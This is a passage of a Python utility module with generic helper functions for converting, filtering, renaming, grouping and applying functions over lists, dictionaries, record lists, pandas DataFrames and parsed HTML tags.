args)\r\n\r\ndef arg_and(*args: bool) -> bool:\r\n    if not args: return False\r\n    else: return functools.reduce(lambda x,y: x&y, args)\r\n\r\ndef union(*arrays) -> Any:\r\n    if not arrays: return None\r\n    else: return functools.reduce(lambda x,y: x+y, arrays)\r\n\r\ndef inter(*arrays: Sequence) -> List:\r\n    if not arrays: return list()\r\n    else: return functools.reduce(lambda x,y: [e for e in x if e in y], arrays)\r\n\r\ndef diff(*arrays: Sequence) -> List:\r\n    if not arrays: return list()\r\n    else: return functools.reduce(lambda x,y: [e for e in x if e not in y], arrays)\r\n\r\n\r\ndef isna_plus(__object, strict=True) -> bool:\r\n    if is_array(__object):\r\n        if not __object: return True\r\n        elif strict: return all(pd.isna(__object))\r\n        else: return empty(__object)\r\n    if isinstance(__object, pd.Series):\r\n        if __object.empty: return True\r\n        elif strict: return __object.isna().all()\r\n        else: return __object.apply(empty).all()\r\n    if isinstance(__object, pd.DataFrame):\r\n        if __object.empty: return True\r\n        elif strict: return __object.isna().all().all()\r\n        else: return apply_df(__object, empty, all_cols=True).all().all()\r\n    else: return isna(__object, strict=strict)\r\n\r\n\r\ndef notna_plus(__object, strict=True) -> bool:\r\n    if is_array(__object):\r\n        if not __object: return False\r\n        elif strict: return any(pd.notna(__object))\r\n        else: return exists(__object)\r\n    if isinstance(__object, pd.Series):\r\n        if __object.empty: return False\r\n        elif strict: return __object.notna().any()\r\n        else: return __object.apply(exists).any()\r\n    if isinstance(__object, pd.DataFrame):\r\n        if __object.empty: return False\r\n        elif strict: return __object.notna().any().any()\r\n        else: return apply_df(__object, exists, all_cols=True).any().any()\r\n    else: return notna(__object, strict=strict)\r\n\r\n\r\n###################################################################\r\n############################# Convert #############################\r\n###################################################################\r\n\r\ndef to_array(__object, default=None, dropna=False, strict=False, unique=False) -> List:\r\n    __s = cast_list(__object)\r\n    if unique: return _unique(*__s, strict=strict)\r\n    elif dropna: return [__e for __e in __s if exists(__e, strict=strict)]\r\n    elif notna(default):\r\n        return [__e if exists(__e, strict=strict) else default for __e in __s]\r\n    else: return __s\r\n\r\n\r\ndef to_dict(__object: MappingData, orient: Optional[Literal[\"dict\",\"list\",\"index\"]]=\"dict\", depth=1) -> Dict:\r\n    if isinstance(__object, Dict): return __object\r\n    elif is_records(__object, empty=True): return chain_dict(__object, keep=\"first\")\r\n    elif isinstance(__object, pd.DataFrame):\r\n        return fillna_dict(__object.to_dict(orient), value=None, strict=True, depth=depth)\r\n    else: return dict()\r\n\r\n\r\ndef to_records(__object: MappingData, depth=1) -> Records:\r\n    if is_records(__object, empty=True): return __object\r\n    elif isinstance(__object, pd.DataFrame):\r\n        return fillna_records(__object.to_dict(\"records\"), value=None, strict=True, depth=depth)\r\n    elif isinstance(__object, dict): return [__object]\r\n    else: return list()\r\n\r\n\r\ndef to_dataframe(__object: MappingData, columns: Optional[IndexLabel]=None, index: Optional[Sequence]=None) -> pd.DataFrame:\r\n    if isinstance(__object, pd.DataFrame): pass\r\n    elif is_records(__object, empty=False): __object = convert_dtypes(pd.DataFrame(align_records(__object)))\r\n    elif isinstance(__object, (dict,pd.Series)): __object = pd.DataFrame([__object])\r\n    else: return pd.DataFrame(columns=cast_columns(columns))\r\n    if (index is not None) and (safe_len(index, -1) == len(__object)): __object.index = index\r\n    return __object\r\n\r\n\r\ndef to_series(__object: Union[pd.Series,Sequence,Any], index: Optional[Sequence]=None) -> pd.Series:\r\n    if isinstance(__object, pd.Series): pass\r\n    elif is_array(__object): __object = pd.Series(__object)\r\n    else: __object = pd.Series([__object]*safe_len(index, 1), dtype=\"object\")\r\n    if safe_len(index, -1) == len(__object): __object.index = index\r\n    return __object\r\n\r\n\r\ndef convert_data(data: Data, return_type: Optional[TypeHint]=None, depth=1) -> Data:\r\n    if not return_type: return data\r\n    elif is_records_type(return_type): return to_records(data, depth=depth)\r\n    elif is_dataframe_type(return_type): return to_dataframe(data)\r\n    elif is_dict_type(return_type): return to_dict(data, depth=depth)\r\n    elif is_list_type(return_type): return cast_list(data)\r\n    try: return data if data else init_origin(return_type)\r\n    except: return None\r\n\r\n\r\n###################################################################\r\n############################## Rename #############################\r\n###################################################################\r\n\r\ndef rename_value(__s: str, rename: RenameMap, to: Optional[Literal[\"key\",\"value\"]]=\"value\",\r\n                if_null: Union[Literal[\"pass\"],Any]=\"pass\") -> str:\r\n    renameMap = flip_dict(rename) if to == \"key\" else rename\r\n    if renameMap and (__s in renameMap): return renameMap[__s]\r\n    else: return __s if if_null == \"pass\" else if_null\r\n\r\ndef rename_dict(__m: Dict, rename: RenameMap) -> Dict:\r\n    return {rename.get(__key,__key): __value for __key, __value in __m.items()}\r\n\r\n\r\ndef rename_records(__r: Records, rename: RenameMap) -> Records:\r\n    if not rename: return __r\r\n    return [rename_dict(__m, rename=rename) for __m in __r]\r\n\r\n\r\ndef rename_data(data: MappingData, rename: RenameMap) -> MappingData:\r\n    if not rename: return data\r\n    elif isinstance(data, Dict): return rename_dict(data, rename)\r\n    elif is_records(data): return rename_records(data, rename)\r\n    elif isinstance(data, PANDAS_DATA): return data.rename(columns=rename)\r\n    elif is_array(data): return [rename.get(__value,__value) for __value in data]\r\n    else: return rename.get(data,data)\r\n\r\n\r\n###################################################################\r\n############################### Get ###############################\r\n###################################################################\r\n\r\ndef iloc(__s: IndexedSequence, indices: Index, default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\") -> _VT:\r\n    __indices, __length = map_index(indices), len(__s)\r\n    if isinstance(__indices, int):\r\n        return __s[__indices] if abs_idx(__indices) < __length else default\r\n    elif not __indices:\r\n        if if_null == \"pass\": return __s\r\n        else: return list() if is_array(__indices) else default\r\n    elif if_null == \"drop\":\r\n        return [__s[__i] for __i in __indices if abs_idx(__i) < __length]\r\n    else: return [(__s[__i] if abs_idx(__i) < __length else default) for __i in __indices]\r\n\r\n\r\ndef kloc(__m: Dict, keys: _KT, default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\", reorder=True,\r\n        values_only=False, hier=False, key_alias: Sequence[_KT]=list()) -> Union[_VT,Dict]:\r\n    if hier:\r\n        return hloc(__m, keys, default, if_null=if_null, values_only=values_only, key_alias=key_alias)\r\n    elif not is_array(keys):\r\n        return __m.get(keys, default)\r\n    elif keys:\r\n        keys = keys if reorder else unique(*__m.keys(), *keys)\r\n        if if_null == \"drop\": __m = {__key: __m[__key] for __key in keys if __key in __m}\r\n        else: __m = {__key: __m.get(__key, default) for __key in keys}\r\n    else: __m = __m if if_null == \"pass\" else dict()\r\n    return list(__m.values()) if values_only else __m\r\n\r\n\r\ndef hloc(__m: Dict, keys: Sequence[_KT], default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\",\r\n        values_only=False, key_alias: Sequence[_KT]=list()) -> Union[_VT,Dict]:\r\n    if is_single_path(keys, hier=True):\r\n        return hier_get(__m, keys, default)\r\n    elif allin(map(exists, keys)):\r\n        if len(key_alias) != len(keys):\r\n            key_alias = [tuple(map(str, cast_list(__path))) for __path in keys]\r\n        __m = {__key: hier_get(__m, __path, default) for __key, __path in zip(key_alias, keys)}\r\n        if if_null == \"drop\": __m = notna_dict(__m)\r\n    else: return __m if if_null == \"pass\" else dict()\r\n    return list(__m.values()) if values_only else __m\r\n\r\n\r\ndef vloc(__r: Records, keys: _KT, default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\", reorder=True,\r\n        values_only=False, hier=False, key_alias: Sequence[_KT]=list(), axis=0) -> Union[Records,List,Dict[_KT,List]]:\r\n    if axis == 1:\r\n        __m = {__key: vloc(__r, __key, default=default, if_null=if_null, hier=hier) for __key in cast_tuple(keys)}\r\n        if if_null == \"drop\": return {__k: __s for __k, __s in __m.items() if __s}\r\n        else: return {__k: (__s if __s else list()) for __k, __s in __m.items()}\r\n    context = dict(if_null=if_null, reorder=reorder, values_only=values_only, hier=hier, key_alias=key_alias)\r\n    __r = [kloc(__m, keys, default=default, **context) for __m in __r]\r\n    default = default if values_only or not is_array(keys) else dict()\r\n    if if_null == \"drop\": return [__m for __m in __r if __m]\r\n    else: return [(__m if __m else default) for __m in __r]\r\n\r\n\r\ndef cloc(df: PandasData, columns: IndexLabel, default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\",\r\n        reorder=True, values_only=False) -> Union[PandasData,_VT]:\r\n    columns = cast_columns(columns)\r\n    __inter = inter(columns, get_columns(df)) if reorder else inter(get_columns(df), columns)\r\n    if not __inter:\r\n        return init_df(df, columns=list()) if if_null == \"drop\" else df\r\n    elif not is_array(columns): df = df[columns]\r\n    elif (if_null == \"pass\") and (len(columns) != len(__inter)):\r\n        columns = columns if reorder else unique(*__inter, *columns)\r\n        df = pd.concat([init_df(df, columns=columns), df[__inter]])\r\n    else: df = df[__inter]\r\n    df = fillna_data(df, default)\r\n    if isinstance(df, pd.Series): return df.tolist() if values_only else df\r\n    else: return list(df.to_dict(\"list\").values()) if values_only else df\r\n\r\n\r\ndef sloc(source: Tag, selectors: Sequence[_KT], default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\",\r\n        values_only=False, hier=False, key_alias: Sequence[_KT]=list(), index: Optional[Unit]=None,\r\n        key=str(), text=False, sep=str(), strip=True, **kwargs) -> Union[_VT,Dict]:\r\n    if not selectors:\r\n        return source if if_null == \"pass\" else default\r\n    loc = hier_select if hier else select_path\r\n    context = dict(default=default, index=index, key=key, text=text, sep=sep, strip=strip)\r\n    if is_single_selector(selectors, hier=hier, index=index):\r\n        return loc(source, selectors, **context)\r\n    if len(key_alias) != len(selectors):\r\n        key_alias = [_get_selector_name(selector, hier=hier) for selector in selectors]\r\n    __m = {__key: loc(source, __path, **context) for __key, __path in zip(key_alias, selectors)}\r\n    if if_null == \"drop\": __m = exists_dict(__m)\r\n    return list(__m.values()) if values_only else __m\r\n\r\n\r\ndef get_value(data: ResponseData, field: Union[_KT,Index], default=None, **kwargs) -> _VT:\r\n    if not field: return default\r\n    elif isinstance(data, Dict): return hier_get(data, field, default)\r\n    elif is_records(data): return [hier_get(__m, field, default) for __m in data]\r\n    elif isinstance(data, PANDAS_DATA):\r\n        column = get_scala(field)\r\n        return fillna_data(data[column], default) if column in data else default\r\n    elif isinstance(data, Tag): return hier_select(data, field, default, **kwargs)\r\n    elif is_array(data):\r\n        index = get_scala(field)\r\n        return data[index] if index < len(data) else default\r\n    else: return default\r\n\r\n\r\ndef filter_data(data: ResponseData, fields: Optional[Union[_KT,Index]]=list(), default=None,\r\n                if_null: Literal[\"drop\",\"pass\"]=\"drop\", reorder=True, values_only=False, hier=False,\r\n                key_alias: Sequence[_KT]=list(), **kwargs) -> Data:\r\n    context = dict(default=default, if_null=if_null, values_only=values_only)\r\n    map_context = dict(hier=hier, key_alias=key_alias)\r\n    if not fields: return data if if_null == \"pass\" else default\r\n    elif isinstance(data, Dict): return kloc(data, fields, reorder=reorder, **context, **map_context)\r\n    elif is_records(data): return vloc(data, fields, reorder=reorder, **context, **map_context)\r\n    elif isinstance(data, PANDAS_DATA): return cloc(data, fields, reorder=reorder, **context)\r\n    elif isinstance(data, Tag): return sloc(data, fields, **context, **map_context, **kwargs)\r\n    elif is_array(data): return iloc(data, fields, default=default, if_null=if_null)\r\n    else: return data\r\n\r\n\r\n###################################################################\r\n############################### Set ###############################\r\n###################################################################\r\n\r\ndef set_dict(__m: Dict, __keys: Optional[_KT]=list(), __values: Optional[_VT]=list(),\r\n            if_exists: Literal[\"replace\",\"ignore\"]=\"replace\", inplace=True, **context) -> Dict:\r\n    if not inplace: __m = __m.copy()\r\n    for __key, __value in dict(zip(cast_tuple(__keys), cast_tuple(__values)), **context).items():\r\n        if (if_exists == \"ignore\") and (__key in __m): continue\r\n        else: __m[__key] = __value\r\n    if not inplace: return __m\r\n\r\n\r\ndef set_records(__r: Records, __keys: Optional[_KT]=list(), __values: Optional[_VT]=list(),\r\n                if_exists: Literal[\"replace\",\"ignore\"]=\"replace\", **context) -> Records:\r\n    return [set_dict(__m, __keys, __values, if_exists=if_exists, inplace=False, **context) for __m in __r]\r\n\r\n\r\ndef set_df(df: PandasData, __columns: Optional[IndexLabel]=list(), __values: Optional[_VT]=list(),\r\n            if_exists: Literal[\"replace\",\"ignore\"]=\"replace\", **context) -> pd.DataFrame:\r\n    df = df.copy()\r\n    for __column, __value in dict(zip(cast_tuple(__columns), cast_tuple(__values)), **context).items():\r\n        if (if_exists == \"ignore\") and (__column in df): continue\r\n        else: df[__column] = __value\r\n    return df\r\n\r\n\r\ndef set_data(data: MappingData, __keys: Optional[_KT]=list(), __values: Optional[_VT]=list(),\r\n            if_exists: Literal[\"replace\",\"ignore\"]=\"replace\", **context) -> Data:\r\n    if is_records(data): return set_records(data, __keys, __values, if_exists=if_exists, **context)\r\n    elif isinstance(data, PANDAS_DATA): return set_df(data, __keys, __values, if_exists=if_exists, **context)\r\n    elif isinstance(data, Dict): return set_dict(data, __keys, __values, if_exists=if_exists, inplace=False, **context)\r\n    else: return data\r\n\r\n\r\n###################################################################\r\n########################### Hierachy Get ##########################\r\n###################################################################\r\n\r\ndef is_single_path(path: _KT, hier=False) -> bool:\r\n    if not path: return True\r\n    elif hier: return not is_2darray(path, how=\"any\")\r\n    else: return (not is_array(path)) or (len(path) == 1)\r\n\r\n\r\ndef hier_get(__m: Dict, __path: _KT, default=None) -> _VT:\r\n    try:\r\n        if not is_array(__path):\r\n            return __m.get(__path, default)\r\n        __m = __m.copy()\r\n        for __key in __path:\r\n            __m = __m[__key]\r\n        return __m\r\n    except: return default\r\n\r\n\r\ndef hier_set(__m: Dict, __path: _KT, value: _VT, inplace=True) -> Dict:\r\n    try:\r\n        if not inplace: __m = __m.copy()\r\n        if is_array(__path):\r\n            for __key in __path[:-1]:\r\n                __m = __m[__key]\r\n            __m[__path[-1]] = value\r\n        else: __m[__path] = value\r\n    except: pass\r\n    if not inplace: return __m\r\n\r\n\r\n###################################################################\r\n############################## Exists #############################\r\n###################################################################\r\n\r\ndef notna_one(*args, strict=True) -> Any:\r\n    for arg in args:\r\n        if notna(arg, strict=strict): return arg\r\n    if args: return args[-1]\r\n\r\n\r\ndef exists_one(*args, strict=False) -> Any:\r\n    for arg in args:\r\n        if exists(arg, strict=strict): return arg\r\n    if args: return args[-1]\r\n\r\n\r\ndef notna_dict(__m: Optional[Dict]=dict(), null_if: Dict=dict(), strict=True, **context) -> Dict:\r\n    if not null_if:\r\n        return {__k: __v for __k, __v in dict(__m, **context).items() if notna(__v, strict=strict)}\r\n    else: return {__k: __v for __k, __v in dict(__m, **context).items() if notna(__v, strict=strict) and (__v != null_if.get(__k))}\r\n\r\n\r\ndef exists_dict(__m: Optional[Dict]=dict(), null_if: Dict=dict(), strict=False, **context) -> Dict:\r\n    if not null_if:\r\n        return {__k: __v for __k, __v in dict(__m, **context).items() if exists(__v, strict=strict)}\r\n    else: return {__k: __v for __k, __v in dict(__m, **context).items() if exists(__v, strict=strict) and (__v != null_if.get(__k))}\r\n\r\n\r\ndef df_empty(df: pd.DataFrame, drop_na=False, how: Literal[\"any\",\"all\"]=\"all\") -> bool:\r\n    return isinstance(df, pd.DataFrame) and (df.dropna(axis=0, how=how) if drop_na else df).empty\r\n\r\n\r\ndef df_exists(df: pd.DataFrame, drop_na=False, how: Literal[\"any\",\"all\"]=\"all\") -> bool:\r\n    return isinstance(df, pd.DataFrame) and not (df.dropna(axis=0, how=how) if drop_na else df).empty\r\n\r\n\r\ndef data_exists(data: Data, strict=False) -> bool:\r\n    if isinstance(data, (pd.DataFrame, pd.Series)): return not data.empty\r\n    else: return exists(data, strict=strict)\r\n\r\n\r\ndef data_empty(data: Data, strict=False) -> bool:\r\n    if isinstance(data, (pd.DataFrame, pd.Series)): return data.empty\r\n    else: return empty(data, strict=strict)\r\n\r\n\r\n###################################################################\r\n############################### Isin ##############################\r\n###################################################################\r\n\r\ndef allin(__iterable: Sequence[bool]) -> bool:\r\n    return __iterable and all(__iterable)\r\n\r\n\r\ndef howin(__iterable: Sequence[bool], how: Literal[\"any\",\"all\"]=\"all\") -> bool:\r\n    return allin(__iterable) if how == \"all\" else any(__iterable)\r\n\r\n\r\ndef isin(__iterable: Iterable, exact: Optional[_VT]=None, include: Optional[_VT]=None,\r\n        exclude: Optional[_VT]=None, how: Literal[\"any\",\"all\"]=\"any\", **kwargs) -> bool:\r\n    __match, __all = (True, (how == \"all\"))\r\n    if notna(exact): __match &= _isin(__iterable, exact, how=\"exact\", all=__all)\r\n    if __match and notna(include): __match &= _isin(__iterable, include, how=\"include\", all=__all)\r\n    if __match and notna(exclude): __match &= _isin(__iterable, exclude, how=\"exclude\", all=True)\r\n    return __match\r\n\r\n\r\ndef _isin(__iterable: Iterable, __values: Optional[_VT]=None,\r\n            how: Literal[\"exact\",\"include\",\"exclude\"]=\"exact\", all=False, strict=False) -> bool:\r\n    if is_array(__iterable):\r\n        return howin([_isin(__i, __values, how, all, strict) for __i in __iterable], how=(\"all\" if all else \"any\"))\r\n    elif is_array(__values):\r\n        return howin([_isin(__iterable, __v, how, all, strict) for __v in __values], how=(\"all\" if all else \"any\"))\r\n    elif isna(__values): return exists(__iterable, strict=strict)\r\n    elif not isinstance(__iterable, Iterable): return False\r\n    elif how == \"exact\": return __values == __iterable\r\n    elif how == \"include\": return __values in __iterable\r\n    elif how == \"exclude\": return __values not in __iterable\r\n    else: raise ValueError(INVALID_ISIN_MSG)\r\n\r\n\r\ndef isin_dict(__m: Dict, keys: Optional[_KT]=None,\r\n                exact: Optional[_VT]=None, include: Optional[_VT]=None, exclude: Optional[_VT]=None,\r\n                how: Literal[\"any\",\"all\"]=\"any\", if_null=False, hier=False) -> bool:\r\n    if isna(exact) and isna(include) and isna(exclude): return True\r\n    keys = keys if keys or hier else list(__m.keys())\r\n    __values = kloc(__m, keys, if_null=\"drop\", values_only=True, hier=hier)\r\n    if isna(__values): return if_null\r\n    elif is_single_path(keys, hier=hier): pass\r\n    elif (how == \"all\") and (not if_null) and (len(keys) != len(__values)): return False\r\n    return isin(__values, exact, include, exclude, how=how)\r\n\r\n\r\ndef isin_records(__r: Records, keys: Optional[_KT]=None,\r\n                exact: Optional[_VT]=None, include: Optional[_VT]=None, exclude: Optional[_VT]=None,\r\n                how: Literal[\"any\",\"all\"]=\"any\", if_null=False, hier=False, filter=True) -> Union[Records,List[bool]]:\r\n    if isna(exact) and isna(include) and isna(exclude): return __r\r\n    __matches = [isin_dict(__m, keys, exact, include, exclude, how, if_null, hier) for __m in __r]\r\n    return [__m for __match, __m in zip(__matches, __r) if __match] if filter else __matches\r\n\r\n\r\ndef keyin_records(__r: Records, keys: _KT) -> Union[bool,Dict[_KT,bool]]:\r\n    all_keys = union(*[list(__m.keys()) for __m in __r])\r\n    return {__key: (__key in all_keys) for __key in keys} if is_array(keys) else keys in all_keys\r\n\r\n\r\ndef isin_df(df: pd.DataFrame, columns: Optional[IndexLabel]=None,\r\n            exact: Optional[_VT]=None, include: Optional[_VT]=None, exclude: Optional[_VT]=None,\r\n            how: Literal[\"any\",\"all\"]=\"any\", if_null=False, filter=True) -> PandasData:\r\n    if isna(exact) and isna(include) and isna(exclude): return df\r\n    __matches, _all = pd.Series([True] * len(df), index=df.index), (how == \"all\")\r\n    for __column in (cast_tuple(columns) if columns else df.columns):\r\n        if __column not in df:\r\n            if if_null: continue\r\n            elif filter: return pd.DataFrame(columns=df.columns)\r\n            else: return  pd.Series([False] * len(df), index=df.index)\r\n        __match = df[__column].notna()\r\n        if __match.any() and notna(exact):\r\n            __match = __match & _isin_series(df[__match][__column], exact, how=\"exact\", all=_all)\r\n        if __match.any() and notna(include):\r\n            __match = __match & _isin_series(df[__match][__column], include, how=\"include\", all=_all)\r\n        if __match.any() and notna(exclude):\r\n            __match = __match & _isin_series(df[__match][__column], exclude, how=\"exclude\", all=_all)\r\n        if if_null: __match = __match & df[__column].isna()\r\n        __matches = __matches & __match if how == \"all\" else __matches | __match\r\n        if not __matches.any(): break\r\n    return df[__matches] if filter else __matches\r\n\r\n\r\ndef _isin_series(series: pd.Series, __values: Optional[IndexLabel]=None,\r\n                how: Literal[\"exact\",\"include\",\"exclude\"]=\"exact\", all=False, strict=False) -> pd.Series:\r\n    if is_array(__values):\r\n        __op = arg_and if all else arg_or\r\n        return __op(*[_isin_series(series, __v, how, all, strict) for __v in __values])\r\n    elif isna(__values): return series.apply(lambda x: exists(x, strict=strict))\r\n    elif how == \"exact\": return series == __values\r\n    elif how == \"include\":\r\n        return series.astype(str).str.contains(__values)\r\n    elif how == \"exclude\": return ~series.astype(str).str.contains(__values)\r\n    else: raise ValueError(INVALID_ISIN_MSG)\r\n\r\n\r\ndef isin_source(source: Union[Tag,Sequence[Tag]], selectors: _KT, exact: Optional[_VT]=None,\r\n                include: Optional[_VT]=None, exclude: Optional[_VT]=None, how: Literal[\"any\",\"all\"]=\"any\",\r\n                if_null=False, hier=False, index: Optional[Unit]=None, key=str(), text=True, sep=' ', strip=True,\r\n                filter=True, **kwargs) -> Union[bool,List[Tag],List[bool]]:\r\n    if is_array(source):\r\n        context = locals()\r\n        __matches = [isin_source(dict(context, source=__s)) for __s in source]\r\n        return [__s for __match, __s in zip(__matches, source) if __match] if filter else __matches\r\n    if isna(exact) and isna(include) and isna(exclude):\r\n        name = exists_one(*map(_get_class_name, (selectors if hier else cast_tuple(selectors))))\r\n        if not name: return True\r\n        else: exact = name\r\n    context = dict(index=index, key=key, text=text, sep=sep, strip=strip)\r\n    __values = sloc(source, selectors, if_null=\"drop\", values_only=True, hier=hier, **context)\r\n    if not __values: return if_null\r\n    elif is_single_selector(selectors, hier=hier, index=index): pass\r\n    elif (how == \"all\") and (not if_null) and (len(selectors) != len(__values)): return False\r\n    return isin(__values, exact, include, exclude, how=how)\r\n\r\n\r\ndef _get_class_name(selector: _KT) -> str:\r\n    tag = str(get_scala(selector, -1))\r\n    return tag[1:] if tag.startswith('.') or tag.startswith('#') else str()\r\n\r\n\r\ndef isin_data(data: ResponseData, path: Optional[Union[_KT,IndexLabel]]=None,\r\n                exact: Optional[_VT]=None, include: Optional[_VT]=None, exclude: Optional[_VT]=None,\r\n                how: Literal[\"any\",\"all\"]=\"any\", if_null=False, hier=False, filter=False,\r\n                **kwargs) -> Union[bool,List[bool],pd.Series]:\r\n    context = dict(exact=exact, include=include, exclude=exclude, how=how, if_null=if_null)\r\n    if isinstance(data, Dict): return isin_dict(data, path, hier=hier, **context)\r\n    elif is_records(data): return isin_records(data, path, filter=filter, **context)\r\n    elif isinstance(data, pd.DataFrame): return isin_df(data, path, filter=filter, **context)\r\n    elif isinstance(data, Tag): return isin_source(data, hier=hier, **context, **kwargs)\r\n    else: return isin(data, **context)\r\n\r\n\r\n###################################################################\r\n############################## Chain ##############################\r\n###################################################################\r\n\r\ndef unique(*elements, strict=True, unroll=False) -> List:\r\n    array = list()\r\n    for __e in (flatten(*elements) if unroll else elements):\r\n        if isna(__e, strict=strict): continue\r\n        if __e not in array: array.append(__e)\r\n    return array\r\n\r\n\r\ndef _unique(*elements, strict=True, unroll=False) -> List:\r\n    return unique(*elements, strict=strict, unroll=unroll)\r\n\r\n\r\ndef unique_keys(__r: Records, forward=True) -> _KT:\r\n    keys = list(__r[0].keys()) if __r else list()\r\n    for __keys in map(lambda x: list(x.keys()), __r[1:]):\r\n        for __i, __key in enumerate(__keys):\r\n            if __key in keys: continue\r\n            try:\r\n                for __forward in range(-1, __i)[::-1]:\r\n                    for __backward in range(__i+1, len(__keys)+1):\r\n                        if __keys[__backward] in keys: break\r\n                    if __keys[__forward] in keys: break\r\n                keys.insert(keys.index(__keys[(__forward if forward else __backward)]), __key)\r\n            except: keys.append(__key)\r\n    return keys\r\n\r\n\r\ndef filter_exists(__object, strict=False) -> Any:\r\n    if isinstance(__object, List):\r\n        return [__value for __value in __object if exists(__value, strict=strict)]\r\n    if isinstance(__object, Tuple):\r\n        return tuple(__value for __value in __object if exists(__value, strict=strict))\r\n    elif isinstance(__object, Dict):\r\n        return {key: __value for key, __value in __object.items() if exists(__value, strict=strict)}\r\n    elif isinstance(__object, pd.DataFrame):\r\n        return __object.dropna(axis=1, how=(\"all\" if strict else \"any\"))\r\n    elif exists(__object, strict=strict): return __object\r\n\r\n\r\ndef concat_array(left: Sequence, right: Sequence, left_index: Sequence[int]) -> List:\r\n    left, right = cast_list(left).copy(), cast_list(right).copy()\r\n    return [left.pop(0) if is_left else right.pop(0) for is_left in left_index]\r\n\r\n\r\ndef chain_dict(__object: Sequence[Dict], keep: Literal[\"fist\",\"last\"]=\"first\") -> Dict:\r\n    base = dict()\r\n    for __m in __object:\r\n        if not isinstance(__m, Dict): continue\r\n        for __key, __value in __m.items():\r\n            if (keep == \"first\") and (__key in base): continue\r\n            else: base[__key] = __value\r\n    return base\r\n\r\n\r\ndef concat_df(__object: Sequence[pd.DataFrame], axis=0, keep: Literal[\"fist\",\"last\"]=\"first\") -> pd.DataFrame:\r\n    if axis == 1: __object = diff_df(*__object, keep=keep)\r\n    else: __object = [df for df in __object if df_exists(df)]\r\n    return pd.concat(__object, axis=axis) if __object else pd.DataFrame()\r\n\r\n\r\ndef chain_exists(data: Data, data_type: Optional[TypeHint]=None, keep: Literal[\"fist\",\"last\"]=\"first\") -> Data:\r\n    if is_dfarray(data): return concat_df([df for df in data if df_exists(df)])\r\n    elif is_2darray(data): return list(chain.from_iterable([__s for __s in data if is_array(__s)]))\r\n    elif data_type and is_dict_type(data_type) and is_records(data, how=\"any\"):\r\n        return chain_dict([__m for __m in data if isinstance(__m, Dict)], keep=keep)\r\n    else: return filter_exists(data)\r\n\r\n\r\n###################################################################\r\n############################# Groupby #############################\r\n###################################################################\r\n\r\ndef groupby_records(__r: Records, by: _KT, if_null: Literal[\"drop\",\"pass\"]=\"drop\", hier=False) -> Dict[_KT,Records]:\r\n    by = cast_tuple(by)\r\n    groups = defaultdict(list)\r\n    for __m in __r:\r\n        values = kloc(__m, by, default=str(), if_null=if_null, values_only=True, hier=hier)\r\n        if len(values) != len(by): continue\r\n        else: groups[values[0] if len(values) == 1 else tuple(values)].append(__m)\r\n    return dict(groups)\r\n\r\n\r\ndef groupby_df(df: pd.DataFrame, by: _KT, if_null: Literal[\"drop\",\"pass\"]=\"drop\") -> Dict[_KT,pd.DataFrame]:\r\n    counts = cloc(df, cast_list(by), if_null=if_null).value_counts().reset_index(name=\"count\")\r\n    keys = counts.drop(columns=\"count\").to_dict(\"split\")[\"data\"]\r\n    return {key if len(key) == 1 else tuple(key): match_df(df, **dict(zip(by, map(lambda x: (lambda y: x == y), key))))\r\n            for key in keys}\r\n\r\n\r\ndef groupby_source(source: Sequence[Tag], by: Union[Dict[_KT,_KT],_KT],\r\n                    if_null: Literal[\"drop\",\"pass\"]=\"drop\", hier=False) -> Dict[_KT,Tag]:\r\n    if not is_array(source): raise TypeError(SOURCE_SEQUENCE_TYPE_MSG)\r\n    if not isinstance(by, Dict):\r\n        by = {0: by} if is_single_selector(by, hier=hier) else dict(enumerate(cast_tuple(by)))\r\n    groups = dict()\r\n    for __key, selector in by.items():\r\n        name = _get_class_name(selector)\r\n        loc = hier_select if hier else select_path\r\n        __match = lambda __value: (name in cast_tuple(__value)) if name else bool(__value)\r\n        __matches = [__match(loc(__s, selector)) for __s in source]\r\n        groups[__key] = [__s for __i, __s in enumerate(source) if __matches[__i]]\r\n        source = [__s for __i, __s in enumerate(source) if not __matches[__i]]\r\n    if (if_null == \"pass\") and source: groups[None] = source\r\n    return groups\r\n\r\n\r\ndef groupby_data(data: Data, by: Union[Dict[_KT,_KT],_KT], if_null: Literal[\"drop\",\"pass\"]=\"drop\",\r\n                hier=False, **kwargs) -> Dict[_KT,Data]:\r\n    if is_records(data): return groupby_records(data, by, if_null=if_null, hier=hier)\r\n    elif is_dfarray(data): return groupby_df(data, by, if_null=if_null)\r\n    elif is_tag_array(data): return groupby_source(data, by, if_null=if_null, hier=hier)\r\n    else: dict()\r\n\r\n\r\n###################################################################\r\n############################## Apply ##############################\r\n###################################################################\r\n\r\ndef safe_apply(__object, __applyFunc: ApplyFunction, default=None, **context) -> Any:\r\n    try: return __applyFunc(__object, **context) if context and is_kwargs_allowed(__applyFunc) else __applyFunc(__object)\r\n    except: return default\r\n\r\n\r\ndef map_context(__keys: Optional[_KT]=list(), __values: Optional[_VT]=list(), __default=None, **context) -> Context:\r\n    if context: return context\r\n    elif not (__keys and (__values or __default)): return dict()\r\n\r\n    __keys, __values = cast_tuple(__keys), (__values if __values else __default)\r\n    if not is_array(__values): __values = [__values]*len(__keys)\r\n    elif len(__keys) != len(__values): return dict()\r\n    return {__key:__value for __key, __value in zip(__keys, __values)}\r\n\r\n\r\ndef apply_array(__s: IndexedSequence, __indices: Optional[Index]=list(), __applyFunc: Optional[ApplyFunction]=list(),\r\n                apply: Optional[ApplyFunction]=None, all_indices=False, __default: _PASS=None, **context) -> IndexedSequence:\r\n    if not __s: return __s\r\n    __s = __s.copy()\r\n    if all_indices: return [apply(__e) for __e in __s]\r\n    for __i, __apply in map_context(__indices, __applyFunc, __default=apply, **context).items():\r\n        if abs_idx(__i) < len(__s):\r\n            __s[__i] = __apply(__s[__i])\r\n    return __s\r\n\r\n\r\ndef apply_dict(__m: Dict, __keys: Optional[_KT]=list(), __applyFunc: Optional[ApplyFunction]=list(),\r\n                apply: Optional[ApplyFunction]=None, all_keys=False, __default: _PASS=None, **context) -> Dict:\r\n    if not __m: return __m\r\n    __m = __m.copy()\r\n    if all_keys: return {__key: apply(__values) for __key, __values in __m.items()}\r\n    for __key, __apply in map_context(__keys, __applyFunc, __default=apply, **context).items():\r\n        if __key in __m:\r\n            __m[__key] = __apply(__m[__key])\r\n    return __m\r\n\r\n\r\ndef apply_records(__r: Records, __keys: Optional[_KT]=list(), __applyFunc: 